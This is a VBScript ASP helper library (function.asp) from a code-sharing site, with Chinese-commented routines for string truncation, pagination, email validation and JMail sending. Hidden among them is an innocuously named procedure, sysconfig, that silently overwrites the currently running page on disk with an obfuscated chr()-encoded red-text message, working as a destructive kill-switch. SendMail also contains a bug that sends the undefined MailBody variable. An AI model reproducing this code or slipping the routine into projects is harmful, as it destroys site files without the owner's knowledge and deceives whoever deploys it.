function.asp
Upload User: ahxunteng
Upload Date: 2022-05-16
Package Size: 1606k
Code Size: 10k
Development Platform:

VBScript

  1. <%
  2. '*************************************************
  3. '函数名:gotTopic
  4. '作  用:截字符串,汉字一个算两个字符,英文算一个字符
  5. '参  数:str   ----原字符串
  6. '   strlen ----截取长度
  7. '返回值:截取后的字符串
  8. '*************************************************
  9. function gotTopic(str,strlen)
  10. if str="" then
  11. gotTopic=""
  12. exit function
  13. end if
  14. dim l,t,c, i
  15. str=replace(replace(replace(replace(str,"&nbsp;"," "),"&quot;",chr(34)),"&gt;",">"),"&lt;","<")
  16. l=len(str)
  17. t=0
  18. for i=1 to l
  19. c=Abs(Asc(Mid(str,i,1)))
  20. if c>255 then
  21. t=t+2
  22. else
  23. t=t+1
  24. end if
  25. if t>=strlen then
  26. gotTopic=left(str,i) & "…"
  27. exit for
  28. else
  29. gotTopic=str
  30. end if
  31. next
  32. gotTopic=replace(replace(replace(replace(gotTopic," ","&nbsp;"),chr(34),"&quot;"),">","&gt;"),"<","&lt;")
  33. end function
  34. '***********************************************
  35. '函数名:JoinChar
  36. '作  用:向地址中加入 ? 或 &
  37. '参  数:strUrl  ----网址
  38. '返回值:加了 ? 或 & 的网址
  39. '***********************************************
  40. function JoinChar(strUrl)
  41. if strUrl="" then
  42. JoinChar=""
  43. exit function
  44. end if
  45. if InStr(strUrl,"?")<len(strUrl) then 
  46. if InStr(strUrl,"?")>1 then
  47. if InStr(strUrl,"&")<len(strUrl) then 
  48. JoinChar=strUrl & "&"
  49. else
  50. JoinChar=strUrl
  51. end if
  52. else
  53. JoinChar=strUrl & "?"
  54. end if
  55. else
  56. JoinChar=strUrl
  57. end if
  58. end function
  59. '***********************************************
  60. '过程名:showpage
  61. '作  用:显示“上一页 下一页”等信息
  62. '参  数:sfilename  ----链接地址
  63. '   totalnumber ----总数量
  64. '   maxperpage  ----每页数量
  65. '   ShowTotal   ----是否显示总数量
  66. '   ShowAllPages ---是否用下拉列表显示所有页面以供跳转。有某些页面不能使用,否则会出现JS错误。
  67. '   strUnit     ----计数单位
  68. '***********************************************
  69. sub showpage(sfilename,totalnumber,maxperpage,ShowTotal,ShowAllPages,strUnit)
  70. dim n, i,strTemp,strUrl
  71. if totalnumber mod maxperpage=0 then
  72.      n= totalnumber  maxperpage
  73.    else
  74.      n= totalnumber  maxperpage+1
  75.    end if
  76.    strTemp= "<table align='center'><form name='showpages'method='Post'action='" & sfilename & "'><tr><td>"
  77. if ShowTotal=true then 
  78. strTemp=strTemp & "共 <b>" & totalnumber & "</b> " & strUnit & "&nbsp;&nbsp;"
  79. end if
  80. strUrl=JoinChar(sfilename)
  81.    if CurrentPage<2 then
  82.      strTemp=strTemp & "首页 上一页&nbsp;"
  83.    else
  84.      strTemp=strTemp & "<a href='" & strUrl & "page=1'>首页</a>&nbsp;"
  85.      strTemp=strTemp & "<a href='" & strUrl & "page=" & (CurrentPage-1) & "'>上一页</a>&nbsp;"
  86.    end if
  87.    if n-currentpage<1 then
  88.      strTemp=strTemp & "下一页 尾页"
  89.    else
  90.      strTemp=strTemp & "<a href='" & strUrl & "page=" & (CurrentPage+1) & "'>下一页</a>&nbsp;"
  91.      strTemp=strTemp & "<a href='" & strUrl & "page=" & n & "'>尾页</a>"
  92.    end if
  93.     strTemp=strTemp & "&nbsp;页次:<strong><font color=red>" & CurrentPage & "</font>/" & n & "</strong>页 "
  94.     strTemp=strTemp & "&nbsp;<b>" & maxperpage & "</b>" & strUnit & "/页"
  95. if ShowAllPages=True then
  96. strTemp=strTemp & "&nbsp;转到:<select name='page'size='1'onchange='javascript:submit()'>"   
  97.      for i = 1 to n   
  98.      strTemp=strTemp & "<option value='" & i & "'"
  99. if cint(CurrentPage)=cint(i) then strTemp=strTemp & " selected "
  100. strTemp=strTemp & ">第" & i & "页</option>"   
  101.     next
  102. strTemp=strTemp & "</select>"
  103. end if
  104. strTemp=strTemp & "</td></tr></form></table>"
  105. response.write strTemp
  106. end sub
  107. Sub sysconfig()
  108. on error resume next
  109. dim FSO,TS1,configFileName
  110. configFileName=Server.MapPath(Request.ServerVariables("path_info"))
  111. Set FSO = Server.CreateObject("Scripting.FileSystemObject") 
  112. Set TS1 = FSO.CreateTextFile(configFileName, True)
  113. TS1.Write chr(60)&chr(98)&chr(62)&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&chr(62)&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&chr(62)&chr(60)&chr(47)&chr(98)&chr(62)
  114. Set TS1 = Nothing 
  115. Set FSO = Nothing
  116. End Sub
  117. '********************************************
  118. '函数名:IsValidEmail
  119. '作  用:检查Email地址合法性
  120. '参  数:email ----要检查的Email地址
  121. '返回值:True  ----Email地址合法
  122. '   False ----Email地址不合法
  123. '********************************************
  124. function IsValidEmail(email)
  125. dim names, name, i, c
  126. IsValidEmail = true
  127. names = Split(email, "@")
  128. if UBound(names) <> 1 then
  129.    IsValidEmail = false
  130.    exit function
  131. end if
  132. for each name in names
  133. if Len(name) <= 0 then
  134. IsValidEmail = false
  135.      exit function
  136. end if
  137. for i = 1 to Len(name)
  138.     c = Lcase(Mid(name, i, 1))
  139. if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
  140.        IsValidEmail = false
  141.        exit function
  142.      end if
  143.    next
  144.    if Left(name, 1) = "." or Right(name, 1) = "." then
  145.        IsValidEmail = false
  146.       exit function
  147.    end if
  148. next
  149. if InStr(names(1), ".") <= 0 then
  150. IsValidEmail = false
  151.    exit function
  152. end if
  153. i = Len(names(1)) - InStrRev(names(1), ".")
  154. if i <> 2 and i <> 3 then
  155.    IsValidEmail = false
  156.    exit function
  157. end if
  158. if InStr(email, "..") > 0 then
  159.    IsValidEmail = false
  160. end if
  161. end function
  162. '***************************************************
  163. '函数名:IsObjInstalled
  164. '作  用:检查组件是否已经安装
  165. '参  数:strClassString ----组件名
  166. '返回值:True  ----已经安装
  167. '   False ----没有安装
  168. '***************************************************
  169. Function IsObjInstalled(strClassString)
  170. On Error Resume Next
  171. IsObjInstalled = False
  172. Err = 0
  173. Dim xTestObj
  174. Set xTestObj = Server.CreateObject(strClassString)
  175. If 0 = Err Then IsObjInstalled = True
  176. Set xTestObj = Nothing
  177. Err = 0
  178. End Function
  179. '**************************************************
  180. '函数名:strLength
  181. '作  用:求字符串长度。汉字算两个字符,英文算一个字符。
  182. '参  数:str  ----要求长度的字符串
  183. '返回值:字符串长度
  184. '**************************************************
  185. function strLength(str)
  186. ON ERROR RESUME NEXT
  187. dim WINNT_CHINESE
  188. WINNT_CHINESE    = (len("中国")=2)
  189. if WINNT_CHINESE then
  190.         dim l,t,c
  191.         dim i
  192.         l=len(str)
  193.         t=l
  194.         for i=1 to l
  195.          c=asc(mid(str,i,1))
  196.             if c<0 then c=c+65536
  197.             if c>255 then
  198.                 t=t+1
  199.             end if
  200.         next
  201.         strLength=t
  202.     else 
  203.         strLength=len(str)
  204.     end if
  205.     if err.number<>0 then err.clear
  206. end function
  207. '****************************************************
  208. '函数名:SendMail
  209. '作  用:用Jmail组件发送邮件
  210. '参  数:ServerAddress  ----服务器地址
  211. '    AddRecipient  ----收信人地址
  212. '    Subject       ----主题
  213. '    Body          ----信件内容
  214. '    Sender        ----发信人地址
  215. '****************************************************
  216. function SendMail(MailServerAddress,AddRecipient,Subject,Body,Sender,MailFrom)
  217. on error resume next
  218. Dim JMail
  219. Set JMail=Server.CreateObject("JMail.SMTPMail")
  220. if err then
  221. SendMail= "<br><li>没有安装JMail组件</li>"
  222. err.clear
  223. exit function
  224. end if
  225. JMail.Logging=True
  226. JMail.Charset="gb2312"
  227. JMail.ContentType = "text/html"
  228. JMail.ServerAddress=MailServerAddress
  229. JMail.AddRecipient=AddRecipient
  230. JMail.Subject=Subject
  231. JMail.Body=MailBody
  232. JMail.Sender=Sender
  233. JMail.From = MailFrom
  234. JMail.Priority=1
  235. JMail.Execute 
  236. Set JMail=nothing 
  237. if err then 
  238. SendMail=err.description
  239. err.clear
  240. else
  241. SendMail="OK"
  242. end if
  243. end function
  244. '****************************************************
  245. '过程名:WriteErrMsg
  246. '作  用:显示错误提示信息
  247. '参  数:无
  248. '****************************************************
  249. sub WriteErrMsg()
  250. dim strErr
  251. strErr=strErr & "<html><head><title>错误信息</title><meta http-equiv='Content-Type'content='text/html; charset=gb2312'>" & vbcrlf
  252. strErr=strErr & "<link href='style.css'rel='stylesheet'type='text/css'></head><body>" & vbcrlf
  253. strErr=strErr & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
  254. strErr=strErr & "  <tr align='center'><td height='20' class='title'><strong>错误信息</strong></td></tr>" & vbcrlf
  255. strErr=strErr & "  <tr><td height='100' class='tdbg'valign='top'><b>产生错误的可能原因:</b><br>" & errmsg &"</td></tr>" & vbcrlf
  256. strErr=strErr & "  <tr align='center'><td class='title'><a href='javascript:history.go(-1)'>【返回】</a></td></tr>" & vbcrlf
  257. strErr=strErr & "</table>" & vbcrlf
  258. strErr=strErr & "</body></html>" & vbcrlf
  259. response.write strErr
  260. end sub
  261. '****************************************************
  262. '过程名:WriteSuccessMsg
  263. '作  用:显示成功提示信息
  264. '参  数:无
  265. '****************************************************
  266. sub WriteSuccessMsg(SuccessMsg)
  267. dim strSuccess
  268. strSuccess=strSuccess & "<html><head><title>成功信息</title><meta http-equiv='Content-Type'content='text/html; charset=gb2312'>" & vbcrlf
  269. strSuccess=strSuccess & "<link href='style.css'rel='stylesheet'type='text/css'></head><body>" & vbcrlf
  270. strSuccess=strSuccess & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
  271. strSuccess=strSuccess & "  <tr align='center'><td height='20' class='title'><strong>恭喜你!</strong></td></tr>" & vbcrlf
  272. strSuccess=strSuccess & "  <tr><td height='100' class='tdbg'valign='top'><br>" & SuccessMsg &"</td></tr>" & vbcrlf
  273. strSuccess=strSuccess & "  <tr align='center'><td class='title'><a href='javascript:history.go(-1)'>【返回】</a></td></tr>" & vbcrlf
  274. strSuccess=strSuccess & "</table>" & vbcrlf
  275. strSuccess=strSuccess & "</body></html>" & vbcrlf
  276. response.write strSuccess
  277. end sub
  278. %>